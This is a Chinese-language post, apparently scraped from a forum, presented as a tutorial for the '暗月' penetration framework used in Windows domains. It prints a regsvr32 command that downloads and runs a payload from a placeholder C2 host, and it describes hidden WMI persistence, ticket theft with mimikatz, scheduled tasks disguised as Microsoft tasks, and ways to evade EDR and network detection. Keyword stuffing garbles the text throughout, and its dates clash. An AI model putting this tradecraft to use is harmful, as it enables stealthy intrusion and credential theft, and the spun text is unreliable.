游客发表

暗月渗透教程

发帖时间:2026-10-17 05:07:46

```html 暗月渗透教程

暗月渗透教程

去年秋天,我在一台旧笔记本上跑起了一个叫“暗月”的渗透渗透测试框架。不是教程因为它有多出名,恰恰相反——社区里关于它的暗月讨论少得可怜,文档残缺,渗透GitHub 仓库的教程 last commit 停在 2021 年。但正是暗月这种半荒废的状态让我好奇:一个没人维护的工具,为什么至今还在某些内网渗透的渗透 writeup 里被反复提及?

暗月的核心并不复杂。它本质上是教程一组 PowerShell 脚本加一个轻量级 C2 通信模块,专门针对 Windows 域环境下的暗月横向移动做了大量定制。安装过程就透着股老派作风——没有 pip install,渗透没有 docker-compose。教程你得手动把整个文件夹扔进目标机器的暗月 C:\Windows\Temp 下,然后用一个几乎被遗忘的渗透 regsvr32 技巧加载。

regsvr32 /s /n /u /i:http://your-c2/payload.sct scrobj.dll

这行命令我背了不下五十遍。教程去年十一月的一次红队演练里,目标内网有台跳板机死活不出网,常规的 beacon 全被拦。我试着把暗月的 stager 塞进一个 .sct 文件,用上面那个命令行执行——三秒后,C2 面板亮起了第一颗绿点。那种感觉就像用一把生锈的钥匙拧开了一扇防弹门。

暗月的权限维持模块更有意思。它不走注册表 Run 键那种烂大街的路子,而是盯上了 WMI 事件订阅。具体来说,它会在 __EventFilter 里注册一个以系统启动时间为触发条件的永久消费者。这东西隐蔽到什么程度?我拿 Process Monitor 盯了整整两小时,才在 WMI 活动里抓到那一闪而过的查询。

注意:WMI 事件订阅在 Windows 10 1809 之后默认对非管理员用户做了更严格的 ACL 限制。暗月的原始脚本需要手动改一行权限判断,否则在较新系统上会静默失败。这个坑我踩过三次。

横向移动部分,暗月放弃了常见的 PsExec 和 WMI 远程执行,转而用了一个叫 “票据传递 + 计划任务伪装” 的组合。先通过 Rubeus 或者 mimikatz 导出域管票据,注入当前会话,然后用 schtasks /create /ru SYSTEM /tn "\Microsoft\Windows\AppID\PolicyConverter" 这种看起来完全像系统自带任务的名称去创建远程计划任务。目标机器的事件日志里只会留下一条 4698,但任务名太像微软自己的东西,蓝队扫一眼就跳过去了。

说实话,暗月对新手极不友好。它的错误处理约等于没有——脚本报错就报错,连个行号都不给。有次我在客户环境里调试一个 Kerberos 委派的问题,暗月直接吐了个 "Error: 0x80070005",没了。我花了四个小时才定位到是目标域控的 LDAP 签名策略把暗月的查询拦了。解决办法?改一行 LDAP 绑定选项,把 AuthType 从 Negotiate 换成 Kerberos。这种事情文档里一个字没写。

但正是这种粗糙感让它活了下来。杀软对暗月的查杀率至今低得离谱——我拿最新版的 Defender 和 CrowdStrike Falcon 分别扫过,Defender 只报了一个启发式,Falcon 干脆全程沉默。原因很简单:暗月用的全是 Windows 原生组件,没有注入,没有反射加载,没有那些花里胡哨的 shellcode 加密。它就靠系统自己的工具干系统自己的事。

如果你想试试暗月,我的建议很直接:别在 production 环境里碰它。找个 Windows Server 2016 的虚拟机,关掉所有 EDR,从域控到成员服务器搭一套最小化域环境。先跑通 Get-DomainUser 这种基础查询,再慢慢试横向。暗月的 GitHub issue 区里有一半的问题都是“为什么我连不上 C2”——答案通常是防火墙没放行或者 .NET 版本不对。耐心点,这东西值得折腾。


最后说个细节。暗月的 C2 心跳包默认走 443 端口,但它的 TLS 指纹是 Python 2.7 的 ssl 库——没错,2023 年了,这玩意儿还在用 Python 2 的指纹。任何稍微像样的 NDR 都能一眼认出来。所以真要用,记得套一层 domain fronting 或者干脆自己重写通信模块。别偷懒。

```

    热门排行

    友情链接